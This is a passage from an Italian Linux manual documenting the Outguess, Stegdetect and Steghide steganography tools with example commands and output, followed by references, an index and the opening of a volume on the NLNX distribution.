  Extracting usable bits:   17882 bits
  Correctable message size: 7983 bits, 44.64%
  Encoded 'foglio.xls': 45056 bits, 5632 bytes
  steg_embed: message larger than correctable size 45056 > 7983
  ```

- `$` **`outguess -d messaggio.txt danza.jpg danza-steg.jpg`** [*Invio*]

  Questo comando è una variante di quello precedente, in cui il file da nascondere è costituito da '`messaggio.txt`'. Questa volta, l'incorporazione ha successo e il file '`danza-steg.jpg`' viene generato:

```
Reading danza.jpg....
JPEG compression quality set to 75
Extracting usable bits:   17882 bits
Correctable message size: 7983 bits, 44.64%
Encoded 'messaggio.txt': 440 bits, 55 bytes
Finding best embedding...
    0:   205(43.4%)[46.6%], bias   197(0.96), saved:     1, total:  1.15%
0, 402: Embedding data: 440 in 17882
Bits embedded: 472, changed: 205(43.4%)[46.6%], bias: 197, tot: 17887, skip: 17415
Foiling statistics: corrections: 93, failed: 0, offset: 30.333333 +- 71.419389
Total bits changed: 402 (change 205 + bias 197)
Storing bitmap into data...
Writing danza-steg.jpg....
```

Si osservi che il file '`messaggio.txt`' è stato steganografato in chiaro, pertanto chiunque può estrarre l'informazione contenuta nel file '`danza-steg.jpg`'.

- `$` **`outguess -d messaggio.txt -k "ciao a tutti" ↩`**
  `↪` **`danza.jpg danza-steg.jpg`** [*Invio*]

  Questo comando è una variante di quello precedente, in cui il file da nascondere viene cifrato usando la parola d'ordine «ciao a tutti»:

```
Reading danza.jpg....
JPEG compression quality set to 75
Extracting usable bits:   17882 bits
Correctable message size: 7983 bits, 44.64%
Encoded 'messaggio.txt': 440 bits, 55 bytes
Finding best embedding...
    0:   247(52.3%)[56.1%], bias   218(0.88), saved:    -3, total:  1.38%
    3:   236(50.0%)[53.6%], bias   202(0.86), saved:    -2, total:  1.32%
   79:   214(45.3%)[48.6%], bias   217(1.01), saved:     0, total:  1.20%
   87:   225(47.7%)[51.1%], bias   193(0.86), saved:     0, total:  1.26%
  136:   215(45.6%)[48.9%], bias   187(0.87), saved:     0, total:  1.20%
136, 402: Embedding data: 440 in 17882
Bits embedded: 472, changed: 215(45.6%)[48.9%], bias: 187, tot: 17819, skip: 17347
Foiling statistics: corrections: 117, failed: 0, offset: 43.580000 +- 68.673760
Total bits changed: 402 (change 215 + bias 187)
Storing bitmap into data...
Writing danza-steg.jpg....
```

- `$` **`outguess -d messaggio.txt -k "ciao a tutti" ↩`**
  `↪` **`-D messaggio-bis.txt -K "viva le donne" danza.jpg ↩`**
  `↪` **`danza-steg.jpg`** [*Invio*]

  Questo comando è una variante di quello precedente, in cui ci sono due file da nascondere, cifrati con parola d'ordine differenti:

```
Reading danza.jpg....
JPEG compression quality set to 75
Extracting usable bits:   17882 bits
Correctable message size: 7983 bits, 44.64%
Encoded 'messaggio.txt': 440 bits, 55 bytes
Finding best embedding...
    0:   247(52.3%)[56.1%], bias   218(0.88), saved:    -3, total:  1.38%
    3:   236(50.0%)[53.6%], bias   202(0.86), saved:    -2, total:  1.32%
   79:   214(45.3%)[48.6%], bias   217(1.01), saved:     0, total:  1.20%
   87:   225(47.7%)[51.1%], bias   193(0.86), saved:     0, total:  1.26%
  136:   215(45.6%)[48.9%], bias   187(0.87), saved:     0, total:  1.20%
136, 402: Embedding data: 440 in 17882
Bits embedded: 472, changed: 215(45.6%)[48.9%], bias: 187, tot: 17819, skip: 17347
Encoded 'messaggio-bis.txt': 440 bits, 55 bytes
Finding best embedding...
  111:   248(52.5%)[56.4%], bias   280(1.13), saved:    -3, total:  1.39%
111, 528: Embedding data: 440 in 17882
Bits embedded: 472, changed: 248(52.5%)[56.4%], bias: 280, tot: 17924, skip: 17452
Foiling statistics: corrections: 239, failed: 0, offset: 46.980892 +- 108.044297
Total bits changed: 930 (change 463 + bias 467)
Storing bitmap into data...
Writing danza-steg.jpg....
```

- `$ `**`outguess -r -k "ciao a tutti" danza-steg.jpg testo.txt`** [*Invio*]

  Questo comando si riferisce all'esempio precedente e si mostra l'estrazione del primo file di informazioni (generando il file '`testo.txt`'). Si osservi che la selezione si ottiene solo in base alla scelta della parola d'ordine corretta:

  ```
  Reading danza-steg.jpg....
  Extracting usable bits:   17882 bits
  Steg retrieve: seed: 136, len: 55
  ```

- `$ `**`outguess -r -k "viva le donne" danza-steg.jpg testo-bis.txt`** [*Invio*]

  Questo comando si riferisce ai due esempi precedenti e si mostra l'estrazione del secondo file di informazioni (generando il file '`testo-bis.txt`'). Si osservi che la selezione si ottiene solo in base alla scelta della parola d'ordine corretta e l'opzione '**`-k`**' rimane in forma minuscola:

  ```
  Reading danza-steg.jpg....
  Extracting usable bits:   17882 bits
  Steg retrieve: seed: 111, len: 55
  ```

49.9.3 Stegdetect

Stegdetect[22] è un programma realizzato dallo stesso autore di Outguess, con lo scopo di cercare di individuare la presenza di informazioni steganografiche all'interno di file che apparentemente contengono solo un'immagine.

Il programma è in grado, teoricamente, di individuare la presenza di diversi tipi di algoritmi steganografici, ma non si può contare che l'analisi sia attendibile; soprattutto, non si può contare sul fatto che sia rivelato alcunché, anche quando l'informazione nascosta esiste veramente.

```
stegdetect [opzioni] [file]...
```

Il programma '**stegdetect**', viene usato normalmente senza opzioni, indicando nella riga di comando l'elenco dei file da controllare; se questa indicazione manca, '**stegdetect**' attende il nome dei file da controllare dallo standard input. Ecco un esempio molto semplice di utilizzo:

$ **stegdetect *.jpg** [*Invio*]

```
...
000001.jpg : negative
000002.jpg : jphide(*)
000003.jpg : skipped (false positive likely)
000004.jpg : jphide(***)
000005.jpg : outguess(**)
000007.jpg : negative
...
```

Come si può intuire, gli asterischi vengono usati per indicare la probabilità con la quale è da ritenere che esista effettivamente un'informazione steganografata con l'algoritmo indicato.

Il pacchetto di Stegdetect include anche il programma '**stegbreak**', con il quale si può tentare di estrarre l'informazione contenuta nella portante, tentando di scoprire la parola d'ordine usata per cifrare i dati:

```
stegbreak [opzioni] [file]...
```

L'utilizzo del programma avviene nello stesso modo di '**stegdetect**', con la differenza che, se l'analisi ha successo, il rapporto generato restituisce, con il nome del file, la parola d'ordine scoperta.

Di solito, assieme a questi programmi si trova anche '**xsteg**'[23] (che eventualmente può essere distribuito con un pacchetto separato), il quale consente l'uso di '**stegdetect**' attraverso un pannello grafico.

```
xsteg
```

Il programma non richiede opzioni e comunque offre funzionalità limitate.

Figura 49.129. Xsteg durante il funzionamento.

Per ulteriori dettagli, si vedano le pagine di manuale *stegdetect(1)*, *stegbreak(1)* e *xsteg(1)*.

49.9.4 Steghide

Steghide[24] è un programma per la steganografia, utilizzando formati grafici (JPEG e BMP) e formati audio non compressi (WAV-RIFF e AU). La sintassi per l'uso del programma prevede un argomento iniziale che dichiara l'azione, seguito dalle opzioni relative:

```
steghide azione [opzioni]
```

L'azione viene dichiarata attraverso un nome che eventualmente può essere preceduto da due trattini ('`--`').

Tabella 49.130. Alcune azioni.

Azione	Descrizione
`embed` `--embed`	Richiede l'inserimento di un'informazione all'interno di un file portante che si vuole steganografare.
`extract` `--extract`	Richiede l'estrazione di un'informazione da un file steganografato in precedenza.

Azione	Descrizione
`info` `--info`	Richiede informazioni su un file da steganografare o già steganografato.

Segue la descrizione di alcune opzioni. Si osservi che le opzioni utilizzabili effettivamente dipendono dall'azione dichiarata all'inizio della riga di comando.

Tabella 49.131. Alcune opzioni.

Opzione	Descrizione
`-ef` ***file*** `--embedfile` ***file***	Specifica un file da inserire all'interno di un altro, attraverso la steganografia (quando si usa l'azione '**`embed`**').
`-cf` ***file*** `--coverfile` ***file***	Specifica un file portante, da steganografare.
`-sf` ***file*** `--stegofile` ***file***	Specifica il nome del file steganografato da generare (quando si usa l'azione '**`embed`**').
`-xf` ***file*** `--extractfile` ***file***	Specifica il nome del file da generare con il contenuto di quanto inserito in precedenza in un file steganografato (si usa con l'azione '**`extract`**').
`-p` ***parola_d'ordine*** `--passphrase` ***parola_d'ordine***	Specifica, già nella riga di comando, la parola d'ordine da usare per cifrare o per decifrare un'informazione segreta.

In condizioni normali, Steghide comprime e cifra le informazioni prima di procedere alla steganografia; attraverso delle opzioni che non sono state elencate, è possibile specificare il livello di compressione e l'algoritmo da usare per la cifratura. Il sistema crittografico è simmetrico, ovvero a chiave segreta, costituita da una parola d'ordine. Segue la descrizione di alcuni esempi.

- `$` **`steghide info prova.jpg`** [*Invio*]

  Richiede informazioni sul file '`prova.jpg`' che in questo caso consente di inserire circa 2,9 Kibyte:

  ```
  "prova.jpg":
    format: jpeg
    capacity: 2.9 KB
  ```

  Il programma propone di verificare l'esistenza di un contenuto steganografico, ma in questo caso si rinuncia:

  `Try to get information about embedded data?  (y/n)` **`n`** [*Invio*]

- `$` **`steghide embed -ef messaggio.txt -cf prova.jpg`** ↩
  ↪ **`-sf prova-steg.jpg`** [*Invio*]

Si richiede di utilizzare il file 'prova.jpg' per incorporare il contenuto del file 'messaggio.txt', generando il file steganografato 'prova-steg.jpg'. Mancando l'opzione '**-p**', viene richiesto di specificare la parola d'ordine:

Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

Re-Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

```
embedding "messaggio.txt" in "prova.jpg"... done
writing stego file "prova-steg.jpg"... done
```

- $ **steghide extract -sf prova-steg.jpg** [*Invio*]

  Si richiede di estrarre il contenuto di 'prova-steg.jpg':

  Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

```
wrote extracted data to "messaggio.txt".
```

- $ **steghide extract -sf prova-steg.jpg -xf segreto.txt** [*Invio*]

  Si richiede di estrarre il contenuto di 'prova-steg.jpg', specificando che il nome da usare per il file da creare deve essere 'segreto.txt':

  Enter passphrase: ***digitazione_all'oscuro*** [*Invio*]

```
wrote extracted data to "segreto.txt".
```

49.10 Riferimenti

- Andrea Colombo, *Le nuove tecnologie di crittografia*

  ⟨*http://impresa-stato.mi.camcom.it/im_43/colo.htm* ⟩

- *The GNU Privacy Handbook*, 1999

  ⟨*http://www.gnupg.org/gph/en/manual.html* ⟩

- Tony Sale, *Codes and Ciphers in the Second World War*, *The history, science and engineering of cryptanalysis in World War II*

  ⟨*http://www.codesandciphers.org.uk/* ⟩

- *The GNU Privacy Handbook*, 1999

  ⟨*http://www.gnupg.org/* ⟩

- Bert-Jaap Koops, *Crypto law survey*

  http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm (non più disponibile)

- Netscape, *Introduction to Public-Key Cryptography*

  ⟨*http://docs.sun.com/source/816-6154-10/* ⟩

- Kille S., *RFC 1779, A String Representation of Distinguished Names*, 1995

  ⟨*http://www.ietf.org/rfc/rfc1779.txt* ⟩

- *Introduction to SSL*

  ⟨http://docs.sun.com/source/816-6156-10/contents.htm ⟩

- *OpenSSL*

  ⟨http://www.openssl.org ⟩

- R. Housley, W. Ford, W. Polk, D. Solo, *RFC 2459: Internet X.509 Public Key Infrastructure -- Certificate and CRL Profile* 1999

  ⟨http://www.ietf.org/rfc/rfc2459.txt ⟩

- *OpenSSH*

  ⟨http://www.openssh.com/ ⟩

- Pagine di riferimenti a lavori attorno al protocollo SSH:

  ⟨http://www.openssh.org/ ⟩

- Ulrich Flegel, *The interaction between SSH and X11, thoughts on the security of the Secure Shell*, 1997

  ⟨http://web.archive.org/web/2002/http://p.ulh.as/docs/ ⟩

[1] Nella terminologia normale che riguarda i sistemi di cifratura dei messaggi, questo codice di controllo è conosciuto come «hash».

[2] Qui si intende il furto di una chiave privata che non sia stata cifrata, o della quale sia stata scoperta la parola d'ordine necessaria per decifrarla.

[3] L'affermazione va intesa nel senso che l'autore non è in grado di dare un'indicazione precisa al riguardo.

[4] **GnuPG** GNU GPL

[5] In questo contesto, il comando è un'opzione che ha un ruolo particolare.

[6] **Gnome PGP** GNU GPL

[7] Si comprende l'importanza di avere un orologio del sistema funzionante e configurato in modo corretto.

[8] Anche se l'autenticazione del servente fallisce, di solito il programma cliente offre all'utente la possibilità di accettare ugualmente il certificato del servente, in modo da poter instaurare la connessione cifrata.

[9] Ciò spiega il motivo per cui, in questi casi, nel campo ***CN*** del nome distintivo di un certificato X.509 viene indicato il nome di dominio del servente.

[10] La difficoltà maggiore nella realizzazione di software libero di questo tipo sta nei problemi legali dovuti all'uso di questo o quell'algoritmo crittografico, che potrebbe essere brevettato, oppure potrebbe non essere ammesso dalle leggi del proprio paese.

[11] Se si vuole mantenere la possibilità di utilizzare un sistema di autenticazione RHOST+RSA, in cui l'utente non debba intervenire in alcun modo, è necessario che la sua chiave privata non sia protetta da parola d'ordine. Ma è già stato spiegato che si tratta di un modo molto poco sicuro di gestire tale tipo di comunicazione.

[12] **OpenSSL** licenza speciale + SSLeay

[13] È importante ribadire che se questo file contiene il valore n, l'ultimo certificato che è stato creato è quello corrispondente al numero $n-1$.

[14] Qui si intende un proxy che non conosca il protocollo utilizzato effettivamente dal servizio che viene ridiretto, a parte la gestione TCP pura e semplice.

[15] **Telnet-SSL** UCB BSD

[16] **SSLwrap** GNU GPL

[17] Soprattutto nel caso di servizi che per loro natura non si lasciano gestire semplicemente in questo modo, come avviene per il protocollo FTP.

[18] **Stunnel** GNU GPL

[19] **OpenSSH** licenza speciale

[20] Si deve fare attenzione al fatto che tra il nome del nodo e il nome dell'utente ci deve essere uno spazio.

[21] **Outguess** licenza speciale BSD

[22] **Stegdetect** licenza speciale BSD

[23] **Xsteg** licenza speciale BSD

[24] **Steghide** GNU GPL

Indice analitico del volume

.cvsignore 2405 .fetchmailrc 2488 .forward 2372 2468 .mailrc 2472 2476 .netrc 2450 .plan 2372 .poprc 2487 .procmailrc 2519 2529 2716 .project 2372 .rhosts 2372 2835 .shosts 2835 .telnetrc 2379 .wgetrc 2611 10base* 2144 10base2 2147 10base5 2147 10baseT 2148 6to4 2205 A 2264 A6 2264 AAAA 2264 access.log 2546 accesso remoto 2372 2701 *address resolution protocol* 2128 ADSL 2683 *agent* 2392 AIDE 2737 aide.conf 2737 alias 2247 2267 aliases 2467 alias IP 2162 *anycast* 2196 2204 ARP 2128 2173 authorized_keys 2837 autorità di certificazione 2800 BIND 2239 *bot* 2430 *bridge* 2122 *broadcast* 2129 cartella di messaggi 2484 casella postale 2484 cavallo di Troia 2707 certificato 2800 cfgmaker 2400 CGI 2566 2584 chiave privata 2779 chiave pubblica 2779 chroot 2733 cifratura 2778 Clamav 2710 clamd 2714 clamd.conf 2714 clamdscan 2714 clamscan 2710 Clamuko 2717 classe IPv4 2131 *cloner* 2430 CNAME 2267 collisione 2119 *community* 2392 config 2843 contabilità IP 2675 crittografia 2778 crittografia asimmetrica 2779 crittografia a chiave pubblica 2779 crittografia a chiave segreta 2779 crittografia simmetrica 2779 datagramma 2119 Dazuko 2709 dhclient 2362 dhclient.conf 2362 dhclient.leases 2362 DHCP 2351 dhcp.conf 2353 2353 dhcp.leases 2353 dhcp3-server 2358 dhcpcd 2361 dhcpd 2353 dhcrelay 2361 Dig 2252 DNS 2138 2234 domainname 2335 dominio, nome di 2137 *email* 2461 2485 2505 error.log 2546 ESSID 2286 Ethernet 2139 2144 2157 2165 ethers 2174 exportfs 2322 exports 2322 Extended service set it 2286 fakechroot 2736 Fakeroot 2736 Fetchmail 2488 filigrana 2855 filtro di pacchetto IP 2651 finger 2370 Finger 2370 2698 fingerd 2370 *firewall* 2642 2651 firma digitale 2778 firma elettronica 2778 *flooder* 2430 FQDN 2137 *frame* 2120 freshclam 2712 freshclam.conf 2712 FTP 2447 ftp 2450 ftpchroot 2459 ftpd 2457 ftpusers 2449 2459 ftpwelcome 2459 FTP anonimo 2449 2701 FTP attivo 2447 FTP passivo 2447 *fully qualified domain name* 2137 Fuser 2750 Gaim 2442 *gateway* 2122 Gnome PGP 2799 GnuPG 2786 gpg 2786 gpgm 2786 GPGP 2799 Grepmail 2484 Host 2251 host.conf 2230 hostinfo-* 2361 hosts 2232 hosts.allow 2316 2321 2334 2726 hosts.deny 2316 2321 2334 2726 hosts.equiv 2372 2835 ht://Dig 2596 htdig.conf 2597 htdigconfig 2597 htsearch 2598 HTTP 2543 2546 2566 ICMP 2154 icmplog 2767 ICQ 2440 IDENT 2720 Ident2 2721 identd 2721 identity 2830 identity.pub 2830 identtestd 2721 id_dsa 2830 id_dsa.pub 2830 id_rsa 2830 id_rsa.pub 2830 IEEE 802.11 2283 IEEE 802.3 2139 2144 Ifconfig 2156 2160 if_inet6 2207 imapd 2486 impronta digitale 2782 in.fingerd 2370 in.ftpd 2457 in.identtestd 2721 in.rlogind 2374 in.rshd 2375 in.talkd 2425 in.telnetd 2378 in.tftpd 2383 indicizzazione dei *file* 2596 inetd 2312 inetd.conf 2312 2315 instradamento 2163 2174 *Internet domain socket* 2273 2275 Internet relay chat 2428 Internet service daemon 2311 ip 2187 2187 IPlogger 2767 ipop2d 2486 ipop3d 2486 Iproute 2187 IPTables 2653 IPTraf 2756 IPv4 2129 2624 IPv4-compatible IPv6 addresses 2204 IPv4-mapped IPv6 addresses 2205 IPv6 2152 2194 2207 2232 IP aliasing 2162 IRC 2428 ircd 2434 ircd.conf 2431 2432 ircd.motd 2432 ircII 2434 ISO-OSI 2120 ISO 8802.11 2283 ISO 8802.3 2139 2144 issue.net 2378 iwconfig 2299 iwlist 2302 *I-seek-you* 2440 known_hosts 2833 LAN 2115 Libident 2721 Licq 2440 lista di posta elettronica 2530 *login* remoto 2372 2701 *loopback* 2132 2156 2164 mail 2472 mail.rc 2472 *mailing-list* 2530 Mailman 2532 mailq 2467 Mailx 2472 makedbm 2334 2334 Makefile 2341 MAN 2115 *management information base* 2391 mascheramento 2642 maschera di rete 2129 Mathopd 2546 mathopd.conf 2548 mathopd.pid 2546 MAU 2147 mesg 2423 messaggio sul terminale 2423 MIB 2391

Midnight Commander 2457 MIME 2492 mmsitepass 2532 mm_cfg.py 2532 motd 2459 motore di ricerca 2596 Mpack 2504 MRTG 2400 mrtg.cfg 2400 MUA 2469 *multicast* 2196 2352 Mutt 2477 MX 2263 Nail 2476 nail.rc 2476 named 2239 2249 named.conf 2258 2258 NAT 2184 2642 2678 nc 2769 NE2000 2145 Netcat 2769 *netmask* 2129 Netstat 2748 netstat-nat 2683 networks 2233 *network address translation* 2184 2642 *network time protocol* 2385 newaliases 2467 newlist 2533 NFS 2321 2699 nis 2345 NIS 2329 2703 nisdomainname 2335 Nmap 2744 nologin 2459 nome a dominio 2237 nome di dominio 2137 2234 NS 2263 Nslookup 2249 nsswitch.conf 2346 2347 NTP 2385 ntp.conf 2387 ntpd 2387 ntpdate 2386 *object identifier* 2391 OID 2391 OOPS 2633 oops.cfg 2633 OpenSSH 2830 OpenSSL 2811 options 2786 OSI 2120 Outguess 2856 pacchetto 2119 PAT 2184 2642 2678 PDU 2122 percorso di fiducia 2796 Perl 2584 PICS 2640 Pidgin 2442 ping 2172 Platform for Internet content selection 2640 PLIP 2150 2158 2166 *point-to-point* 2116 2158 2166 Popclient 2487 porta 2152 portmap 2318 *port address translation* 2184 2642 posta elettronica 2461 2485 Procmail 2519 protocollo 2152 protocollo di rete 2152 protocollo di trasporto 2152 protocols 2152 2207 *proxy* 2628 *proxy* trasparente 2681 Psad 2768 psad.conf 2768 psadfifo 2768 punto-punto 2116 2158 2166 Queso 2741 queso.conf 2741 Raccess 2743 Radvd 2212 radvd.conf 2212 random_seed 2830 Rdate 2384 resolv.conf 2233 2361 rete 2115 rete geografica 2115 rete locale 2115 rete metropolitana 2115 rete privata 2133 ripetitore 2122 2146 2148 rlogin 2374 rlogind 2374 rmlist 2533 rmtab 2322 rndc 2249 Route 2163 2168 *router* 2122 2174 2178 *router* ADSL 2683 RPC 2318 2700 rpc 2318 rpc.lockd 2322 rpc.mountd 2322 rpc.nfsd 2322 rpc.rquotad 2322 rpc.rusers 2369 rpc.rwalld 2428 rpc.statd 2322 rpc.yppasswdd 2334 2343 rpc.ypxfrd 2334 2344 rpcinfo 2319 rsh 2375 Rsync 2403 rsyncd.conf 2411 rsyncd.secrets 2418 rundig 2597 rusers 2369 rwall 2428 rwalld 2428 rwho 2368 rwhod 2368 safe_finger 2733 sa-learn 2530 sa-update 2524 scp 2843 Secure Shell 2809 2830 Sendmail 2466 2704 servente di chiavi 2785 services 2152 servizio 2152 servizio di rete 2311 sftp 2843 shosts.equiv 2835 showmount 2327 sicurezza 2696 *simple network management protocol* 2391 2700 SMTP 2461 Sniffit 2759 SNMP 2391 2700 snmpbulkwalk 2393 snmpd 2397 snmpd.conf 2397 snmpdf 2395 snmpget 2393 snmpgetnext 2393 snmpnetstat 2395 snmpstatus 2395 snmpwalk 2393 SOA 2262 *socket* 2273 2275 *socket* di dominio Internet 2273 2275 *socket* di dominio Unix 2273 2275 sottorete 2129 SpamAssassin 2524 SSH 2809 2830 ssh 2843 sshd 2839 sshd_config 2839 ssh_config 2843 ssh_host_dsa_key 2830 ssh_host_dsa_key.pub 2830 ssh_host_key 2830 ssh_host_key.pub 2830 ssh_host_rsa_key 2830 ssh_host_rsa_key.pub 2830 ssh_known_hosts 2833 ssh-keygen 2830 SSID 2286 SSL 2807 2811 2826 2827 2829 SSLwrap 2827 *stateless* 2198 steganografia 2855 stegbreak 2859 Stegdetect 2859 Steghide 2861 Stunnel 2829 *subnet router anycast address* 2204 supervisore di rete 2311 talk 2425 talkd 2425 TCP 2624 TCP/IP 2126 2311 tcpclient 2279 tcpd 2315 tcpdchk 2731 tcpdmatch 2732 Tcpdump 2750 tcpdump 2750 tcplog 2767 tcpserver 2279 TCP *wrapper* 2315 2725 telnet 2379 TELNET 2378 telnetd 2378 telnetd.pem 2826 telnetrc 2379 Telnet-SSL 2826 TFTP 2382 2702 tftp 2383 tftpd 2383 TIME 2384 Tkirc 2434 TLD 2237 TLS 2807 2811 Traceroute 2182 traffico di rete 2747 trama 2120 *transparent proxy* 2681 Trivial FTP 2382 2702 trojan 2707 try-from 2733 UCSPI 2275 UDP 2624 UIN 2440 *unicast* 2196 *universal internet number* 2440 unixclient 2278 unixserver 2278 *Unix client-server program interface* 2275 *Unix domain socket* 2273 2275 URI 2567 URL 2567 Uuencode 2493 verme 2707 virus 2707 vlock 2772 W3M 2545 wall 2423 WAN 2115 *watermark* 2855 Webalizer 2604 webalizer.conf 2604 Wget 2610 wgetrc 2611 Whois 2237 WiFi 2283 *wireless* 2283 Wireless-tools 2299 Wireshark 2761 *worm* 2707

wpa_supplicant 2304 wpa_supplicant.conf 2304 2305 WPA Supplicant 2304 write 2423 X 2703 xlock 2772 xntpd 2387 xsteg 2859 xtrlock 2773 YP 2329 yp.conf 2346 2347 ypbind 2346 2347 ypcat 2349 ypchfn 2349 ypchsh 2349 ypdomainname 2335 ypinit 2341 2341 2344 ypmatch 2349 yppasswd 2349 ypserv 2334 2336 ypserv.conf 2334 2338 ypserv.securenets 2334 2340 ypwhich 2344 2349 ypxfr_1perday 2344 ypxfr_1perhour 2344 ypxfr_2perhour 2344 ytalk 2425 $CVSIGNORE 2405 $ftp_proxy 2631 $gopher_proxy 2631 $http_proxy 2631 $MAIL 2468 2469 $RESOLV_HOST_CONF 2230 $RESOLV_SERV_MULTI 2230 $RESOLV_SERV_ORDER 2230 $RSYNC_PASSWORD 2411 $RSYNC_RSH 2405 $wais_proxy 2631

Volume III

NLNX

```
# nlnxrc nlnx make
```

ISBN 978-88-905012-0-3

Via Morganella Est, 21 -- I-31050 Ponzano Veneto (TV) -- ⟨*appunti2 (ad) gmail·com* ⟩

Il numero ISBN 978-88-905012-0-3 si riferisce all'opera originale in formato elettronico, pubblicata a titolo gratuito.

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Capitolo 50

Introduzione e sintesi

50.1 Semplicità e controllo 2876

50.1.1 Caratteristiche generali 2877
50.1.2 Insieme dei pacchetti applicativi disponibili 2878
50.1.3 File system compresso 2878
50.1.4 Espulsione del disco 2878
50.1.5 Aggiornamento 2878
50.1.6 Sistema di emergenza 2878
50.1.7 Installazione: normale o in sola lettura 2879
50.1.8 Avvio dalla rete 2879

50.2 Ambiente operativo ideale di NLNX 2879

50.2.1 Servente 2880
50.2.2 Elaboratori periferici 2880
50.2.3 Accesso alle stampanti 2881
50.2.4 Proxy HTTP 2881
50.2.5 Il lavoro a casa 2881
50.2.6 Osservazioni 2881

50.3 NLNX per il principiante 2881

50.3.1 Utilizzo del DVD *live* 2882
50.3.2 Installazione in «C:\» 2882
50.3.3 Utenze 2883
50.3.4 Configurazione automatica della rete 2885
50.3.5 Voci per l'avvio 2885

50.4 La configurazione grafica di NLNX 2886

50.4.1 Menù 2886
50.4.2 Configurazione delle finestre 2889
50.4.3 Comandi da tastiera 2892
50.4.4 Configurazione locale 2893
50.4.5 Configurazione della mappa della tastiera 2893
50.4.6 Livelli di inserimento 2895
50.4.7 Accenti morti 2896
50.4.8 Messaggi di errore 2899
50.4.9 Avvio dei programmi 2900
50.4.10 Chiusura dei programmi 2900
50.4.11 Configurazione del mouse 2902
50.4.12 Sfondo 2902

50.4.13 Cattura dell'immagine dello schermo 2903
50.4.14 Bottoni della barra delle applicazioni 2904
50.4.15 Registrazione dello schermo 2905
50.4.16 Uso dello scanner 2906
50.4.17 Avvio manuale del sistema grafico 2906
50.4.18 Autorizzazione per l'accesso al servente X 2906
50.4.19 Altre annotazioni 2907

50.5 Accesso ad altri file system con NLNX 2907

50.5.1 Innesto di altri file system 2907
50.5.2 Accesso semplificato alle unità rimovibili 2908
50.5.3 Accesso a unità non rimovibili 2909
50.5.4 Limitazione all'accesso 2910
50.5.5 Accesso a risorse di rete SMB 2910

50.6 Sintesi dei comandi 2911

50.7 Sintesi delle opzioni di avvio 2915

50.8 Riferimenti 2919

`.Trash/` 2902 `.wallpaper` 2902 `Desktop/` 2902 `fstab` 2907 `nlnxrc` 2911

50.1 Semplicità e controllo

NLNX,[1] ex nanoLinux, è un sistema GNU/Linux versatile, per architettura x86, ottenuto a partire da pacchetti Debian. NLNX può funzionare sia in un file system in sola lettura (come quello di un disco ottico *live* o di una memoria solida USB), sia in un file system comune (come quello di un'unità a disco tradizionale). Inoltre, NLNX può essere installato in un file-immagine all'interno di un file system estraneo.

NLNX nasce e si evolve sulla base di esigenze legate alla gestione di reti di elaboratori destinati alla didattica; pertanto, NLNX deve risolvere problemi di gestione e di amministrazione relativi all'uso tipico che si fa di tali strumenti nei laboratori delle scuole. A questo proposito, il sistema operativo, così organizzato, è perfettamente adatto ad altri contesti di utilizzo, anche quando certe esigenze non sono così pressanti come invece avviene a scuola.

Figura 50.1. Campi principali di applicazione di NLNX.

Attualmente, a causa della dimensione raggiunta dalla distribuzione, non è più possibile inserire questa in un DVD-ROM, pertanto è anche temporaneamente sospeso l'invio gratuito della stessa, in attesa che si diffondano i dischi BD (*Blu-ray disc*).

50.1.1 Caratteristiche generali

Il motto di NLNX è «semplicità e controllo», in riferimento all'organizzazione e gestione del sistema operativo, nel senso che **una sola persona** dovrebbe poter gestire, **nei ritagli di tempo**, una rete numerosa di elaboratori facenti capo a un solo servente, basando tutto su NLNX. Pertanto, l'aggettivo «semplicità» non va frainteso, in quanto servono comunque delle competenze, ma almeno la filosofia di NLNX è quella di evitare complicazioni dove possibile.

NLNX può essere modificato e riprodotto in forma di disco ottico *live* o di unità di memoria solida USB: basta installarlo in un elaboratore tradizionale e avere a disposizione abbastanza spazio libero per i file temporanei che si generano con tale procedimento.

Per quanto riguarda la gestione della rete, l'organizzazione di NLNX è rivolta a un contesto in cui l'accesso alla rete esterna avviene tramite un router già presente e accessibile dalla rete locale.

Dal punto di vista della grafica, NLNX è privo di «effetti speciali»; in particolare non si usa nemmeno un gestore di sessione e non c'è una preferenza per Gnome o KDE, in quanto si usano indifferentemente programmi di entrambi gli ambienti. La gestione dell'audio è essenziale e di norma un solo programma per volta può disporre delle funzionalità audio.

NLNX offre potenzialmente dei servizi impegnativi anche quando viene avviato da un'unità in sola lettura (come i dischi ottici *live* e le unità USB), salvo qualche eccezione per motivi di sicurezza.

50.1.2 Insieme dei pacchetti applicativi disponibili

L'edizione standard attuale di NLNX, ha un insieme di programmi applicativi scelti secondo criteri di funzionalità, cercando di evitare ridondanze dove possibile. Nella scelta dei programmi sono considerati la snellezza, la capacità di funzionare correttamente con la maggior parte delle lingue gestibili.

In generale, si preferisce la «pratica» rispetto alla «teoria». Ovvero, anche se sarebbe preferibile un certo programma ***x***, può darsi che in pratica quel programma manifesti qualche inconveniente nelle condizioni di uso a cui è destinato NLNX; pertanto si opta per un programma ***y*** che magari è meno efficiente o più pesante, ma che almeno sembra dare, in pratica, maggiori garanzie di affidabilità.

